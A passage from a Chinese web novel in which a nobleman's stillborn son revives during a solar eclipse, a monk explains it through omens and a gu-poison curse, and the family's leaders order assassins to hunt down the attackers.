棋牌佛望着状若疯魔的林臻,又是一声长长的叹息,眼神复杂地扫过天空那几颗异常闪烁的星辰,尤其是其中最为明亮、位居中央、带着帝王之气的紫微星:“唉,可惜紫微耀世,帝星归位,此子若能降生,必将澄清玉宇,开万世之太平……哎……或许这样也好,也好。” 他喃喃自语着,话语间蕴含着无尽的惋惜和对天机不可捉摸的敬畏。 紫微帝星的光芒,在日食的背景下,显得格外刺眼夺目。 这时,一直沉默在旁,也是林臻嫡妻的上官婉儿走上前来。 她脸色同样苍白,眼中亦是担忧,但比起林臻的狂怒绝望,她显得更为冷静。 她轻轻握住林臻冰凉而颤抖的手,柔声道:“夫君,事已至此,急也无益。这些虚无缥缈的江湖术士之言,听听便罢,不可尽信。即便这个孩子真的与这世间无缘,留不住,也不能就此断言您与青霞妹妹就绝无再得麟儿之福。我们还是先等等孙神医的结果吧。” 她的话语带着安抚,也带着世家女子的沉稳,试图在无边黑暗中给林臻一点微弱却实在的支撑。 林臻如同抓住最后一根救命稻草,反手紧紧攥住了上官婉儿的手,力道大得让她蹙起了秀眉。 他重重地点头,目光死死钉在那紧闭的产房大门上,仿佛要将它烧穿。 每一分每一秒的等待,都如同在滚油中煎熬,度秒如年。 时间,在死寂和沉重的呼吸声中,缓慢地滴答流逝。 终于,在不知煎熬了多久之后—— “吱呀——” 那扇隔绝生死的沉重门扉,再次被人从里面打开了。 走出来的,是孙神医。 这位见惯生死、德高望重的老者,此刻竟是步履蹒跚,那张布满沧桑皱纹的老脸上,浑浊的泪水止不住地蜿蜒流淌,浸湿了花白的胡须。 他的眼中充满了痛惜、疲惫和深深的无力感。更让人心头剧震的是,他的怀中,赫然抱着一个用素色锦缎包裹得严严实实的小小襁褓。 所有人的心都沉到了谷底,瞬间停止了跳动。 孙神医走到林臻面前,每一步都像踩在棉花上又似踏在刀尖上。 他将那小小的襁褓递到林臻面前,老泪纵横,声音哽咽得不成语调:“世子老朽已经尽力了,未能挽回夫人血脉,老朽愧对世子……” 林臻的身体猛地一晃,似乎要摔倒,却又奇迹般地站稳了。 他那双充满血丝的眼睛死死盯着那个襁褓,仿佛失去了灵魂的木偶,缓缓地、僵硬地伸出手,将那团小小的、毫无生气的锦缎包裹接了过来。 入手一片冰凉,沉甸甸的,却又轻飘飘的,像托着一捧冷灰。 他颤抖着手臂,下意识地将孩子抱近了些,轻轻地上下颠了颠。 估摸着,也就四五斤重。 他小心翼翼地掀开一角锦缎。襁褓中,露出一个婴儿的小小脸蛋。 这本该是个极为漂亮的大胖小子模样,眉眼清晰,鼻梁端正,可惜皮肤呈现出死寂的青灰色,双目紧闭,嘴巴微微张着,却没有任何生命的迹象。 这本该鲜活降临的生命,如同一朵刚结出花苞就被摧残的花朵,无声地凋零了。 “儿子,儿子……”林臻的声音哑得几乎不成调,像沙漠里快要渴死的旅人。 他低下头,用自己的脸颊去贴孩子冰冷的小脸。 滚烫的泪珠终于再也抑制不住,决堤般汹涌而出,一滴灼热的泪水,带着父亲锥心刺骨的绝望,准确地滴落在孩子冰凉、青灰的小脸蛋上。 “儿子!你醒醒啊!儿子——!!”他发出了野兽濒死般凄厉的嘶吼,一遍遍呼唤着那永远不可能给予他回应的血肉。 巨大的悲恸如同滔天巨浪,将他彻底淹没。 就在这时,一直密切关注着孩子的棋牌佛,那看似悲悯平静的眼眸突然闪过一丝极其锐利精光! 他一个箭步抢到林臻身前,不顾林臻的失魂落魄,猛地凑近去看那死婴的面相。 当他的目光扫过婴儿那青灰小脸的刹那,仿佛看到了世间最不可思议的事情! 他那双总是半眯着、显得高深莫测的老眼,此刻骤然瞪得溜圆! 瞳孔因极度的惊骇而疯狂收缩,一张老脸上写满了匪夷所思的震惊! “这……这……这怎么可能!!”棋牌佛失声惊呼,声音尖锐得变了调! 他完全忘了林臻的身份地位,也忘了所有的仪态规矩,整个人陷入一种狂热的、无法理解的惊骇之中。 他猛地伸出枯瘦如同鹰爪般的手,一把抓住了襁褓中死婴那软绵绵、同样冰冷的小手腕,将那只小手举到眼前,急切地翻看着婴儿柔软手掌的掌纹。 这一看之下,棋牌佛的眼睛瞪得更大了! 眼珠子几乎要从深陷的眼窝里暴凸出来! 他看着那小小的、本该属于死胎的手掌上的掌纹,仿佛看到了天地间最大的秘密和最深的恐怖! 他的身体开始无法控制地剧烈颤抖起来,握着婴儿手腕的指头也在不停地哆嗦,声音更是抖得如同破风箱在拉扯:“这……这孩子……这孩子……” 就在这石破天惊的惊呼未及说完的刹那,那遮蔽了太阳的阴影陡然达到了最盛的顶点——日全食瞬间降临! 天地间的最后一丝光亮彻底消失! 整个院落,整个城市,整个世界都仿佛被一块巨大的、浓得化不开的漆黑幕布当头罩下! 白昼在顷刻间化为绝对的死寂黑暗! 所有人眼前瞬间一片漆黑,伸手不见五指! 冰冷的、如同九幽地狱吹来的风刮过皮肤,带来彻骨的寒意和莫名的恐惧。 惊呼声尚未在黑暗中响起—— “哇啊——!!!” 一声嘹亮、刺耳,充满了原始生命力的婴儿啼哭,撕心裂肺般,毫无征兆、石破天惊地在这片吞噬一切的、绝对的、令人窒息的黑暗深渊中猛烈炸响! 哭声,清晰地来自林臻怀中那个本该冰冷、死寂、被所有人宣判了死亡、没有任何生命迹象的襁褓之中! 第568章 鲜活的生命 “哇啊——!!” 这声在绝对的黑暗中爆发出的、石破天惊的婴儿啼哭,如同投入死水潭的石子,瞬间击碎了笼罩整座王府的死寂。 但那并不是喧嚣的开端,而是在短暂到可以忽略的一瞬后,将一切声音都吸收殆尽的、更深沉的寂静。 前一秒还因黑暗带来的未知恐惧而惊叫、慌乱、摸索碰撞的丫鬟、仆役、护卫们……所有的动作、所有的声音,都在啼哭爆发的那一刻凝固了。 仿佛被无形的力量扼住了喉咙,冻结了肢体。 整个喧闹的院落,如同被投入了时间的琥珀,瞬间陷入一片令人窒息的、针落可闻的安静。 只剩下那嘹亮、充满生命力、甚至带着一丝愤怒不屈的婴儿哭声,在浓得化不开的黑暗里顽强地回荡,清晰得如同就在每个人的耳边! 黑暗中,抱着襁褓的林臻,身体如同被无形的力量狠狠撞击,猛地一晃! 他下意识地将襁褓死死箍在怀里,低头看去——即使眼前一片漆黑,什么也看不见,他的双眼依然瞪大到极致,仿佛要用意念穿透黑暗,看清怀中的一切。 眼球因瞬间的巨大情绪冲击而布满血丝,眼角还残留着未干的泪痕。 那冰冷僵硬的小身体,此刻竟隔着锦缎传来一种微弱但清晰的、属于生命的热度! 他的儿子! 他以为永远失去的儿子! 刚刚那断气死寂的模样还历历在目! 这巨大的、颠覆一切的冲击力让他浑身每一个细胞都在颤栗,巨大的狂喜和更深的难以置信如同滔天巨浪,瞬间将他淹没! 他喉结剧烈地滚动,发出如同受伤野兽般嘶哑而混乱的音节:“儿……儿子?儿子!” 像是在确认,又像是在呼唤着失而复得的至宝,声音颤抖得不成样子。 “哇呜呜呜!!” “哈哈哈哈,我就知道,我的儿子没那么容易死!哈哈哈哈!” “哇哇哇哇,咳咳咳,啊呜呜呜呜!” 孩子的哭声十分响亮。 “呔!”这时,一只同样冰冷、带着老人特有的干涩和粗粝感的手,如同铁钳般猛地探来,精准地搭在了襁褓边缘露出的、属于婴儿那比常人小臂还要细嫩得多的小手腕上! 是棋牌佛! 他那张平日古井无波的脸上,此刻同样写满了极致的、近乎撕裂的震惊和愕然! 他甚至忘记了呼吸,整个人的精神都集中在他那三根枯瘦的指尖。 随着脉搏强而有力、充满生机的搏动感清晰地传来,棋牌佛那双如古潭般幽深的眼睛骤然亮得惊人! 他感受着那生命的洪流在婴儿弱小的身躯中奔涌,喉咙里发出一声像是要窒息般的抽气声,随即一种难以言喻的、混合着狂喜、敬畏和对天地伟力极致震骇的情绪彻底爆发出来! “果然……果然如此!哈哈哈哈!苍天有眼,造化弄人!苍天有眼呐!哈哈哈哈!” 棋牌佛仰起头,朝着那根本看不见的、被天狗吞食的苍穹,发出近乎癫狂的大笑! 那笑声在死寂的黑暗中格外刺耳,带着一种勘破某种惊天玄机后如释重负却又深感战栗的复杂情绪,震得周围凝固的空气都似乎松动了几分。 周围的人群依旧处在极致的错愕之中。 刚从产房出来,还沉浸在悲伤和无力感中的孙神医,此刻如同石化一般僵在原地,老脸呆滞,浑浊的双眼中是巨大的茫然,仿佛听到了天方夜谭。 璃月仙子、上官婉儿等人,虽然能比普通人更快地从绝对黑暗中锁定哭声来源,但那声音是来自已被孙神医宣判死亡的婴儿? 这超越常理的事实让她们这些见多识广的修炼者、世家贵女也一时怔住,思维凝固。 几位仙子面面相觑,都能在彼此模糊的轮廓上看到无法掩饰的惊愕。 下人们更是张大了嘴巴,仿佛集体失声,连手中的灯笼、火把都忘了要继续点燃。 最先打破这极致震撼氛围的,是孙神医那变了调的、充满了医学常识被彻底颠覆的惊颤声,他踉跄着扑向林臻声音的方向:“世子!这孩子,孩子的声音……天呐,怎么会这样,他方才明明已经没了声息脉象……怎么会……这怎么可能突然活了过来?!这……这不合医理啊!!” 老神医的声音带着哭腔般的激动和世界观破碎的震撼。 黑暗渐渐被几处艰难点燃的火把和灯笼撕开了一线。 借着这微弱的光芒,林臻终于看清了怀中襁褓里的婴儿。 那张青灰色的死气已经散去,小小的胸膛急促地起伏着,因为之前的啼哭和“死而复生”的剧烈变化,皮肤还带着不正常的红晕和几道哭出来的皱褶。 他紧闭着眼睛,小嘴却有力地张合,发出轻微的呜咽和抽噎声。 鲜活! 实实在在的鲜活生命! 一股混杂着狂喜、后怕和难以言喻的情绪冲上头顶,林臻猛地抬头,急切地对孙神医吼道:“孙神医!别管什么医理不医理的了!快!快给我儿子再看看!看看他是不是真的没事了?!快啊!” 他的声音颤抖着,充满了父亲的急切和刚经历过巨大起伏后的恐惧。 “哎!哎!老朽这就看!这就看!”孙神医如梦初醒,再也顾不上失态,连滚带爬地冲到林臻面前,几乎是抢一般地从林臻怀里将襁褓小心地接了过去。 入手不再是冰冷的死寂,而是带着生命温度的柔软蠕动! 这位杏林泰斗的手都激动得不住颤抖。 “世子稍候!老朽这就去仔细诊查!” 他死死抱着襁褓,再也不愿耽搁一秒,几乎是冲撞地、跌跌撞撞地重新撞开了产房那扇门,身影瞬间消失在门内的阴影与血腥气味交织的空气中。 沉重的雕花木门在孙神医身后再次合拢,发出轻微的一声闷响。 这一次,没有人再阻拦,只有无数道焦灼、期盼、探寻的目光,死死钉在那扇门上。 日食所带来的黑暗依旧浓重,似乎完全没有消退的迹象,反而像是将这方院落彻底与外界隔绝,自成一片天地。 微弱的光线下,能看到空气里未散的惊慌尚未完全褪去,又迅速被新的、更为强烈的希望和未知所填充。 林臻如同被抽干了所有力气,高大的身躯晃了晃,没有看任何人,径直迈步,有些虚浮地走向不远处回廊下的小亭子。 他需要坐下来,需要冷静,这短短片刻经历的大悲大喜,抽空了他所有的精神。 上官婉儿立刻跟了过去,她精致的脸上同样残留着惊愕,但此刻更多的是难以抑制的兴奋和作为女主人的沉稳。 她在林臻身边坐下,举止依旧保持着世家女子特有的优雅克制,但那双明亮眼眸中跳动的光彩却出卖了她内心的不平静。 她微微前倾身子,一只手甚至下意识地轻轻抚上了自己的小腹,看向林臻的眼神充满了由衷的欢喜和一丝不易察觉的复杂。 第569章 你肯定不是穿越者 抱孩子的晴雯也凑了过来,这妮子最是激动难耐。 她在亭子边的廊柱旁兴奋地小步跳跃着,叽叽喳喳的声音清脆悦耳,打破了院中的沉重:“夫君!夫君!恭喜夫君又得了一个大胖小子!青霞姐姐吉人天相,小公子更是有老天爷保佑!这……这简直是话本子里才能看到的神仙事儿!” 林臻缓缓地、深深地吸了一口冰凉的空气,试图平复自己的心脏。 听到晴雯快活的声音,他这才像从巨大的漩涡中暂时挣脱出来,抬眼看向她。 这个妮子也是站了大半天,经历了方才的惊吓和狂喜,一张小脸上还带着汗水和残留的惊悸。 “嗯,”林臻扯出一个极其勉强的、几乎算不得是笑容的表情,声音带着脱力后的沙哑。 “你也辛苦这小半天了,别在这儿站着了,快回自己屋里去歇息吧。”他甚至还伸出手,有些僵硬地捏了捏晴雯因激动而泛红的脸蛋,动作带着一丝难得的疲惫温柔。 这简单的动作和话语,让晴雯脸上瞬间笑开了花,用力地点点头:“嗯,妾身告退,这就去歇会儿!” 说完像只快活的小鹿般蹦跳着跑开了。 其实她也是想给林臻点时间缓缓心情。 林臻的目光收回,没有立刻与身边的上官婉儿说话,而是投向了不远处阴影笼罩下、似乎仍陷在某种神秘震撼情绪里捻着佛珠、却几乎把珠子都捻断了的棋牌佛。 “老和尚,”林臻的声音低沉下来,带着不容置疑,“过来说话。” 棋牌佛猛地回过神,看到林臻的目光,老脸上复杂的情绪尚未完全平息,但僧袍一撩,动作倒是相当落落大方甚至有些急切地走进了亭子,在林臻对面干净利落地坐了下来。 亭内的灯笼光芒摇曳,照亮了他脸上尚未平复的震惊余波。 林臻身体微微前倾,锐利的目光如同实质般钉在棋牌佛脸上,开门见山,压低了声音:“告诉我,这到底是怎么回事?你刚才说什么星君,什么玉帝旨意……这光天化日之下……不,这黑天瞎火的。” 他抬头瞥了一眼依旧漆黑的天幕,日食仿佛凝固在此刻,“你告诉我,我儿子身上到底发生了什么?!” 棋牌佛深吸一口气,浑浊的老眼中精光闪烁,带着一种洞悉玄机的笃定,声音也低沉下来,在幽暗的光线下显得格外神秘。 “世子容禀。老衲并非妄言。按这孩子方才降生一刻所显之八字命理推演,他本就不该降生于人间的!” “嗯?”林臻眉头死死拧紧,放在石桌下的手不自觉地捏成了拳。 “他命格贵极,乃是上界星宿转世,本应执掌人间权柄,行那改天换地之事。然天心难测,凌霄之怒岂容轻易悖逆?”棋牌佛的声音带着一种宿命般的沉重,“故而那无上意志降下冥冥禁锢,要生生绝了他的生路,将其胎死腹中!这是天道大势,凡俗之力岂可违逆?所以方才夫人血崩,胎儿离体即亡,正应此劫!” “那后来这哭声?!他又活了!”林臻的声音从牙缝里挤出来,带着压抑的惊疑。 “所以老衲才说苍天有眼啊!”棋牌佛情绪陡然激动起来,手一抖,好几颗佛珠差点被他捻飞出去。 “你看这天象!这遮蔽太阳的天狗食日,其至暗时刻,恰恰在那一刻,天象剧变!那遮蔽大日的光辉,实则是阻挡了凌霄降下那绝杀旨意的屏障!让那天命出现了那么一丝……短暂到不可复制的空隙与破绽!”他眼神灼灼地盯着林臻。 “正是这天地奇观带来的刹那‘破法’,给了这命定不该降生的孩子一线生机!就在那至暗与希望交织的瞬间,他才能夺回属于他自己的生机脉搏!” 他越说越激动,脸上泛起一种朝圣般的红光,“逆天改命就在眼前啊!世子!此乃天大的机缘造化!非人力可为啊,哈哈哈!” 他忍不住又发出几声感慨万千的笑声。 林臻听着这番无比荒谬却又似乎能强行解释眼前奇迹的“天意说”,眼角忍不住抽搐了几下。 如果是以前,他或许还会觉得这老家伙神神叨叨或者干脆觉得对方也是穿越者跟他一样在忽悠。 但现在看来……对方这深信不疑、激动万分的样子,绝非作伪。 若是穿越者,怎么可能编出“天狗食日破玉帝旨意”这种不着调的“科学解释”? 这分明就是纯粹的古代术士逻辑。 想了想,林臻暗暗腹诽。 ?屁的天意! 狗屁的玉帝旨意! 肯定是这傻小子最后关头在娘胎里不知怎么回事动了一下,呛到羊水或者啥的,弄了个假死! 而自己刚才抱着死命地颠了他那么几下!正好把他喉咙里那点羊水或者其他什么东西给颠顺了!咳嗽一声通了气,这才缓过来开始哭! 什么天狗食日阻隔玉帝旨意,忽悠傻子呢! 这该死的庸医产婆,连这种婴儿窒息假死的常识都不知道,差点害自己白白经历这场惊吓。 奶奶的,回头就让她卷铺盖滚蛋!。 心里骂着,但面上林臻却缓和了许多。 无论如何,儿子活过来是事实。 眼前这老和尚虽然神神道道,但之前毕竟也是关心和提醒过。 无论如何,他带来了(虽然是错误的)安慰和心理支持。 林臻舒了一口气,疲惫感更深,语气也诚挚了几分:“老和尚,不管怎么说,儿子能活过来,我得谢你。回头你去找张俪领钱,就说是我说的。” 算是补偿他刚才差点被自己掐死的惊吓。 棋牌佛一听有钱拿,脸上的悲天悯人和激动感慨瞬间像变脸般褪去,露出一抹市侩且极其真实的笑容,连声道:“哎!哎!多谢世子!多谢世子恩典!嘿嘿,不瞒您说,老衲正惦记着前街新来了几位西域的胡姬,那舞姿……嘿嘿,酒钱有了!多谢世子慷慨!” 林臻被这老和尚变脸的速度弄得哭笑不得,心里的穿越者怀疑再次降到冰点。 谁家穿越者在古代装了半辈子高人,最后就为了喝杯花酒? 看着棋牌佛那张充满期待的脸,林臻心中一动,忽然想起一事,问道:“慢着!你先别急着去喝花酒。我问你件事。” 第570章 来福的不同寻常 “世子请讲。”棋牌佛立刻收敛了嬉皮笑脸。 “前几天,来福突然发狂,咬死了那头陛下上次的骆驼。”林臻眉头皱起,脸色凝重起来。 “来福是我从小养大的,通人性,温顺得很!以前虽然没见过骆驼,但也从未如此暴烈过。那天简直像疯了一样,咆哮如雷,我亲自过去喝止,它竟然连我的话都不听了!差点还伤了靠近的仆役。这到底是怎么回事?为何它的性子会突然变得如此凶戾?简直跟换了头野兽似的。” 棋牌佛闻言,眼皮轻轻一抬,捻动佛珠的动作顿了顿,似乎早已料到会有此一问。 他压低了声音,语气带着一丝肯定:“世子当时……是不是把自己吃剩下的饭食,喂给来福吃了?” 林臻回忆了一下,很干脆地点头:“是。那天晚膳后,我看它眼巴巴瞧着桌上的羊骨头,想着也不是什么好东西,就随手丢给它了。这有什么问题?” “问题就出在这里!”棋牌佛的声音更低,眼神也变得凝重起来,“世子,您身上有那噬心蛊的母体。此蛊诡秘莫测,威能难测。它虽主要影响您自身,但其邪异力量亦会通过某些特殊的媒介向外渗透传播。其中最重要的媒介之一,便是世子您自身的精微之物!” “精微之物?”林臻心头一跳。 “不错,”棋牌佛正色道,“您的汗水、您的唾液、您的血液……凡蕴含您自身精微气血之物,都可能成为这噬心蛊力量外溢的通道!任何与您的精微之物有过接触之人或生灵,皆有被蛊力侵染的可能!一旦染上,其心性便会被蛊力潜移默化地扭曲、侵蚀!变得暴戾、嗜血、易怒!心智蒙尘!” 他顿了顿,看着林臻惊疑不定的脸色,话锋一转:“不过,世子也无需过度忧心。那来福自幼时便与世子亲近,更重要的,是它曾……嗯,想必世子也记得,您早年驯养它时,难免有被其爪牙伤到的时候……” 林臻瞬间明白了。 那时候在山里,来福顽劣,确实有过爪子抓破他手背或者牙齿磕到他的时候,那时候流了点血…… “因此!”棋牌佛的语气带着奇异的笃定,“来福体内,早已融入了一部分您带有噬心蛊气息的精血!它不仅仅是被您的精微之物侵染,更是与您建立了一种基于蛊力的更深层的血契联系!所以,那噬心蛊的母体在您身上,受蛊力侵染的来福,无论如何扭曲凶暴,它内心深处最根深蒂固的印记却未曾改变。您便是它至高无上的主宰!它将您视为生命之始与归宿,绝不可能对您生出半分忤逆与伤害之心!甚至会不惜一切护卫您!至于它对您的服从命令变得不再如以前那般顺服...” 棋牌佛脸上露出一丝了然的神色:“那只是因为噬心蛊的凶性激发,放大了它作为猛兽的本能野性!它开始更遵循自己心中嗜血掠食的原始欲望,而非单纯的服从命令。所以才会不听您的呵斥去攻击骆驼。但它对您本人的绝对忠诚和保护本能,却是刻在血里的!” 他进一步解释:“同理,它对与世子您血脉同源的家眷,以及因为与您朝夕相对,而被它潜意识视为同类同族的人类,亦不会主动攻击。只是性情变得更为警惕、敏感、易怒罢了。您所说的伤人,恐怕也只是在它发狂攻击其他生物时,旁人误入了它的攻击范围,它只是本能地要将侵入自己领地的威胁清除。但对于您指定的家眷,老衲担保,它绝不会生出主动伤害之心。” “至于它对其他动物……世子想想,被蛊力放大了凶性,激发了本能暴虐野性的老虎,对一头闯入它领域的外来骆驼,岂能还有什么好脾气?” 棋牌佛摊了摊手,意思不言而喻。“蛊性入心,改变了它的认知范围和同类范畴,它只认您和与您极其相似的人类作为需要守护的同类,其他的生物,在它眼中便不再享有此待遇了。” 林臻听完这番解释,沉默了片刻。 虽然依旧觉得噬心蛊这种东西极其诡异,但棋牌佛关于来福与自身精血联系导致不会攻击自己和家人的说法,逻辑上勉强也说得通。 他心里那股担忧家人安全的焦虑倒是平复了不少。 缓缓点头:“原来如此……” 他下意识地摸了摸心口的位置。 就在这时,产房那扇门被再次从里面推开。 孙神医带着一脸如释重负又疲惫不堪的神情走了出来。这一次,他双手空空。 所有人的目光瞬间聚焦在他身上,屏息以待。 孙神医走到亭子外不远处,对着林臻深深一揖:“恭喜世子!贺喜世子!小世子他经过老朽再三仔细检查诊脉,虽然方才经历险死还生之变,气息略有不稳,但确确实实是平安无事了!脉象平稳有力,只是有些受惊和短暂的闭气之危已经安然度过!如今只消好好调养喂养,并无大碍!老朽已亲手将他交给奶娘,喂奶去了。” 这无异于天籁之声! 林臻猛地从石凳上站起,一股难以言喻的暖流驱散了最后一丝阴霾。 他双手一拱,郑重无比地对着孙神医行了一礼:“孙神医!救子之恩,林臻多谢了!” 这一礼,发自肺腑,为了这神医拼尽全力保住了他的孩子。 孙神医连忙还礼,花白的胡子都在抖动,连声道:“世子言重!能救下王府的少爷,此乃上天眷顾,亦是老朽一生医道之荣光,当不得世子如此大礼!夫人那边……” 他看了看产房的方向,“青霞夫人之前失血过多,元气大伤,方才强撑着精神确认了小世子平安便又力竭昏睡过去。现下已服用了老朽开的安神定魄、补气养血的汤药,睡得极沉。世子可以进去看看她了。” “好!辛苦孙神医,您也劳累整日,快回去好生歇息。”林臻对孙神医点点头,语气真挚。“来啊,伺候孙神医回去。” “是。” 第571章 不惜代价撬开他的嘴 孙神医也确实累得够呛,再次施礼后,便在一名仆从的搀扶下,蹒跚着离开了。 林臻转向身边的婉儿:“婉儿,青霞需要静养,我先去看看她。你也站了大半日,心神俱疲,快先回去歇着吧。晚些我再去看你。” 上官婉儿闻言,款款起身,脸上带着为青霞和孩子喜悦的浅浅笑意,姿态温婉端庄:“夫君言重了。妾身不碍事。今日青霞妹妹为王府诞下麟儿,又经历如此凶险,夫君理应多加陪伴。妾身自己回去便可。” 她对着林臻施了一礼,又对着棋牌佛微微颔首示意,这才带着贴身丫鬟,步履稳重、仪态万方地转身离开了。 那份世家主母的端庄与体贴,无懈可击。 目送上官婉儿离开,林臻深吸一口气,压下心头翻涌的情绪,撩起袍子下摆,放轻脚步,一步一步地走向那间依然弥漫着浓郁血腥气味的产房。 门口的丫鬟早已无声地为他掀开了门帘。 浓重的气息扑面而来,混杂着未散的血腥气、药味、汗味和一种莫名的、象征着新生的淡淡甜腥。 光线比外面稍亮一些,几盏宫灯在角落散发着昏黄的光芒。 他的目光第一时间就落在了那张宽大的拔步床上。 青霞那副平日里冷艳绝俗的容颜,此刻却如同冰雪雕琢后又被投入烈火般脆弱。 脸色白得吓人,透着一股虚弱的透明感,嘴唇也毫无血色,浓密的睫羽紧闭着,整个人陷在锦被之中,像一枝被风雨摧折的花。 林臻的心瞬间揪紧。 一股怒火与后怕不受控制地升起。 若不是那该死的刺客偷袭,致使她提前动了胎气,她何以要承受这早产难产、在鬼门关走一遭的巨大风险?! 这笔账,老子早晚跟你们算清楚。 她暗暗咬了咬牙,放轻脚步走到床边,屏退了守在一旁的丫鬟。随即小心翼翼地坐在床沿,目光温柔地、带着无尽疼惜地落在青霞苍白的睡颜上。 他伸出手,指背带着自己都无法察觉的轻微颤抖,极其轻柔地抚过她冰凉滑腻的脸颊。 青霞的睫羽如同受惊的蝶翼般轻微颤动了一下,旋即缓缓地睁开。 那双总是冷冽如寒潭的美眸,此刻却蒙上了一层迷蒙的水汽,虚弱得仿佛随时会重新合上。 但在看清床边坐着的、眼神里带着满满担忧的人是林臻时,那毫无血色的唇角竟微微向上弯起一个极淡的、却仿佛能令天地失色的绝美弧度,声音轻得像一阵风拂过:“夫君……” 林臻用力地点点头,心头大石落了一半,他俯身靠近些,同样压低了声音,语气带着安抚和肯定的力量:“嗯,夫人,我在。” “你辛苦了,孩子没事,很健康,孙神医说了,好得很。” 他特意放慢了语速,确保每一个字都清晰无比地传入青霞耳中。 青霞静静地听着,眸中的雾气似乎更浓了一些,但那唇角的笑意却更深了。 她没有说话,只是缓缓地、几乎是微不可查地点了一下头。 但林臻却清晰地捕捉到了,她眼中除了庆幸,更深处仿佛有某种巨大的欢喜在瞬间绽放又被迅速收敛。 林臻看着她,继续道:“放心,万事有我。你安心休养便是。” 他以为青霞这巨大的欢喜是因为孩子平安无恙。 青霞的目光似乎穿透了他,看向很远的地方。 在林臻没注意到的一瞬间,她眼中那层迷蒙的水汽迅速褪去,取而代之的是一闪而逝、如同万年玄冰被瞬间点燃般极其惊人的狠厉光芒! 但快如闪电,刹那隐去,快到让林臻以为那只是自己眼花了或是灯光下的错觉。 随即,她的脸上重新布满了浓浓的倦意,眼皮微微耷拉着,声音带着一丝慵懒的嘶哑:“夫君,妾身好累,想再睡会儿。您您先回去吧。” 她的声音断断续续,带着明显的、令人心疼的虚弱感。 林臻看着她苍白的面容和浓重的睡意,没有丝毫怀疑。 他虽不放心,但也知道此刻的休息对她至关重要。 他轻轻握住她放在锦被外冰凉的小手,放在唇边轻轻吻了一下手背:“也好。你好好睡,什么都别想。晚点我再来陪你。” “嗯……”青霞闭上眼睛,轻哼了一声作为回应。 林臻替她掖好被角,又深深地看了她几眼,这才直起身,一步三回头地,带着满心的担忧和不舍,终于退出了卧房,轻手轻脚地带上了门。 轻微的脚步声渐渐远去,直到消失在房门外。 卧房里陷入一片寂静,只有角落宫灯静静燃烧发出的细微噼啪声。 床上,看似沉沉睡去的青霞,那双紧闭的美眸,却在这一刻骤然睁开! 眼眸中哪里还有半分虚弱睡意? 只剩下冰冷如刀、锐利似箭的寒光! 她侧耳倾听着门外的动静,屏息凝神,一动不动。 时间在寂静中一点点流逝。 直到她心中默算着林臻的脚步应该已经走出这个院落的范围,抵达他自己院外之时—— 青霞那冰冷的目光才幽幽地转动,看向了床边垂首侍立的心腹大丫鬟。 她的声音依旧虚弱,却带着一种深入骨髓的冰冷命令,仿佛浸透了九幽寒泉:“去……” 丫鬟立刻上前一步,躬身细听。 青霞的声音压得极低,却字字如金铁相击:“把外面的人叫进来。要快,莫声张。” 丫鬟无声地点点头,迅速又悄无声息地退了出去。 很快,房门被极轻地推开又合上。 没有多余的脚步声,仿佛只是一阵微风掠过。 四个身影如同四道漆黑的、吸收了所有光线的影子,悄无声息地出现在青霞床前垂地的帐幔阴影之中。 她们站在那里,纹丝不动,垂首敛目,连呼吸都微弱得几近于无。 整个房间的空气仿佛都因为这四人的出现而骤然下降了几度,变得森寒逼人。 只有她们身上难以完全收敛的、长期在生死边缘游走磨砺出的、淡淡若有似无的血腥气和凝练到极致的锋锐气机在无声流淌。 青霞靠坐在床头,苍白的脸上没有一丝波澜。 她没有看任何人,冰冷的眼眸只是毫无焦距地望着床顶的帐幔,仿佛在穿透时空看着某个目标。 但那声音,却清晰地在这四个如影子般的顶尖杀手耳畔炸响,带着毫不掩饰的刺骨杀意: “那个刺客,险些害我母子惨死!”她的话语微微一顿,每一个字都像是淬了剧毒的冰锥,带着切齿的恨意迸发出来:“你们亲自去审。” 冰冷的命令斩钉截铁:“撬开他的嘴!挖出他背后的人!每一丝痕迹都要给我找出来!不惜代价,明白了吗?!” 没有一句多余的话。 那四个如同融入阴影的身影同时微微一动,整齐划一地垂首,如同最精密的机器接受了指令,四个毫无感情波动的冰冷女声如同金铁摩擦般同时响起,瞬间汇成一个字: “是,宗主。” 第572章 反了天了 笼罩天地的绝对黑暗如同被一只无形巨手猛然揭开,阳光重新洒落大地,刺眼的光线让习惯了黑暗的人们感到一阵短暂的晕眩。 林臻独自一人走在王府幽静的石子小径上,斑驳的光影透过树木枝叶落在他身上,却驱散不了他心头的沉重。 这次青霞母子遭遇的危险,除了那该死的刺客偷袭外,恐怕还有一个更隐秘的原因。 她这段时间,或许因为自己冷落,又或许是想靠自身意志硬抗,没有定期服用林臻的特效药。 众所周知,林臻的特效药不仅可以强身健体,还能包治百病。 这是噬心蛊的特殊作用。 或许是噬心蛊也不想死,所以它会竭尽全力来保护宿主。 念头一起,林臻的心瞬间提到了嗓子眼。 如果真是这样,那自己其他那几个同样怀着身孕的小妾呢? 顾缜、月妩她们是否也因为同样没按时“服药”,正悄然陷入危险而不自知?! 一股强烈的后怕和恐惧感攫住了他。 不行!必须立刻去看看! 宁可孩子被噬心蛊感染,也不能再重蹈今天的覆辙。 他脚步一转,目标明确地朝着顾缜居住的别院快步走去。 顾缜性子极淡,话也最少,几乎不会主动提要求,所以说她是最有可能默默忍耐的那个。 刚走了没几步,林臻脚步微顿,头也未回,冰冷的声音对着身后不远处如影随形的护卫侯春道:“侯春,天道那边,训练得如何了?” 身姿挺拔、气息沉稳的侯春立刻上前半步,抱拳躬身,声音不高但足够清晰:“回禀世子,天道部众每日皆在按照计划严格授课训练,进展尚算顺利。只是距离世子要求的结业标准,恐还需一段时日。” 林臻眼神一厉,一丝暴虐的戾气在眼底翻涌。 青霞浑身是血的模样、那婴儿死而复生却依旧脆弱的啼哭声再次在脑中炸开! 他猛地握紧拳,声音带着不容置疑的杀伐决断:“结业?哼!别管那些狗屁标准了!没时间等他们慢悠悠结业了!”他豁然转身,死死盯住侯春,每一个字都像淬了冰又带着烈焰:“立刻!把天道现有的、能上阵的杀手,统统给我放出去!目标煊赫门!还有哈德门!” 他咬牙切齿,每一个字都掷地有声:“给我挖!掘地三尺也要把他们的老鼠窝给我找出来!敢派死士来我王府行刺?!这次的血仇,本世子必报!我要他们……血债血偿!听明白了吗?!” “卑职领命!”侯春感受到了世子身上那几乎要化为实质的冲天怒火和杀意,心头一凛,不敢有丝毫迟疑,立刻应声。 侯春刚欲转身疾走,林臻的声音再次响起,如同冰冷的铁律:“等等!” 侯春立刻停步,屏息以待。 